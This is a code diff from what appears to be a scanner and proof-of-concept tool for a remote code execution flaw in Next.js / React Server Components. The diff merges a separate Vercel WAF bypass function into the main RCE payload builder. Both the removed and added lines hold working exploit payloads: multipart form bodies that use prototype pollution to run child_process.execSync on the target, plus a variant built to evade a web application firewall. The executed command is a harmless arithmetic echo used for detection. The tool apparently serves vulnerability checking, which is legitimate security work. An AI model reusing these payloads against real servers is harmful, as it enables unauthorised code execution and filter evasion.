@@ -114,39 +114,7 @@ def build_safe_payload() -> tuple[str, str]:
114114 return body , content_type
115115
116116
117- def build_vercel_waf_bypass_payload () -> tuple [str , str ]:
118- """Build the Vercel WAF bypass multipart form data payload."""
119- boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
120-
121- part0 = (
122- '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
123- '"value":"{\\ "then\\ ":\\ "$B1337\\ "}","_response":{"_prefix":'
124- '"var res=process.mainModule.require(\' child_process\' ).execSync(\' echo $((41*271))\' ).toString().trim();;'
125- 'throw Object.assign(new Error(\' NEXT_REDIRECT\' ),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",'
126- '"_chunks":"$Q2","_formData":{"get":"$3:\\ "$$:constructor:constructor"}}}'
127- )
128-
129- body = (
130- f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r \n "
131- f'Content-Disposition: form-data; name="0"\r \n \r \n '
132- f"{ part0 } \r \n "
133- f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r \n "
134- f'Content-Disposition: form-data; name="1"\r \n \r \n '
135- f'"$@0"\r \n '
136- f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r \n "
137- f'Content-Disposition: form-data; name="2"\r \n \r \n '
138- f"[]\r \n "
139- f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r \n "
140- f'Content-Disposition: form-data; name="3"\r \n \r \n '
141- f'{{"\\ "\u0024 \u0024 ":{{}}}}\r \n '
142- f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--"
143- )
144-
145- content_type = f"multipart/form-data; boundary={ boundary } "
146- return body , content_type
147-
148-
149- def build_rce_payload (windows : bool = False , waf_bypass : bool = False , waf_bypass_size_kb : int = 128 ) -> tuple [str , str ]:
117+ def build_rce_payload (windows : bool = False , waf_bypass : bool = False , waf_bypass_size_kb : int = 128 , vercel_waf_bypass : bool = False ) -> tuple [str , str ]:
150118 """Build the RCE PoC multipart form data payload."""
151119 boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
152120
@@ -163,11 +131,16 @@ def build_rce_payload(windows: bool = False, waf_bypass: bool = False, waf_bypas
163131 f"{{digest: `NEXT_REDIRECT;push;/login?a=${{res}};307;`}});"
164132 )
165133
134+ if vercel_waf_bypass :
135+ formdata_payload = '"get":"$3:\" $$:constructor:constructor"}'
136+ else :
137+ formdata_payload = '{"get":"$1:constructor:constructor"}'
138+
166139 part0 = (
167140 '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
168141 '"value":"{\\ "then\\ ":\\ "$B1337\\ "}","_response":{"_prefix":"'
169142 + prefix_payload
170- + '","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"} }}'
143+ + '","_chunks":"$Q2","_formData":' + formdata_payload + ' }}'
171144 )
172145
173146 parts = []
@@ -196,6 +169,14 @@ def build_rce_payload(windows: bool = False, waf_bypass: bool = False, waf_bypas
196169 f'Content-Disposition: form-data; name="2"\r \n \r \n '
197170 f"[]\r \n "
198171 )
172+
173+ if vercel_waf_bypass :
174+ parts .append (
175+ f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r \n "
176+ f'Content-Disposition: form-data; name="3"\r \n \r \n '
177+ f'{{"\\ "\u0024 \u0024 ":{{}}}}\r \n '
178+ )
179+
199180 parts .append ("------WebKitFormBoundaryx8jO2oVc6SWP3Sad--" )
200181
201182 body = "" .join (parts )
@@ -330,11 +311,8 @@ def check_vulnerability(host: str, timeout: int = 10, verify_ssl: bool = True, f
330311 if safe_check :
331312 body , content_type = build_safe_payload ()
332313 is_vulnerable = is_vulnerable_safe_check
333- elif vercel_waf_bypass :
334- body , content_type = build_vercel_waf_bypass_payload ()
335- is_vulnerable = is_vulnerable_rce_check
336314 else :
337- body , content_type = build_rce_payload (windows = windows , waf_bypass = waf_bypass , waf_bypass_size_kb = waf_bypass_size_kb )
315+ body , content_type = build_rce_payload (windows = windows , waf_bypass = waf_bypass , waf_bypass_size_kb = waf_bypass_size_kb , vercel_waf_bypass = vercel_waf_bypass )
338316 is_vulnerable = is_vulnerable_rce_check
339317
340318 headers = {
0 commit comments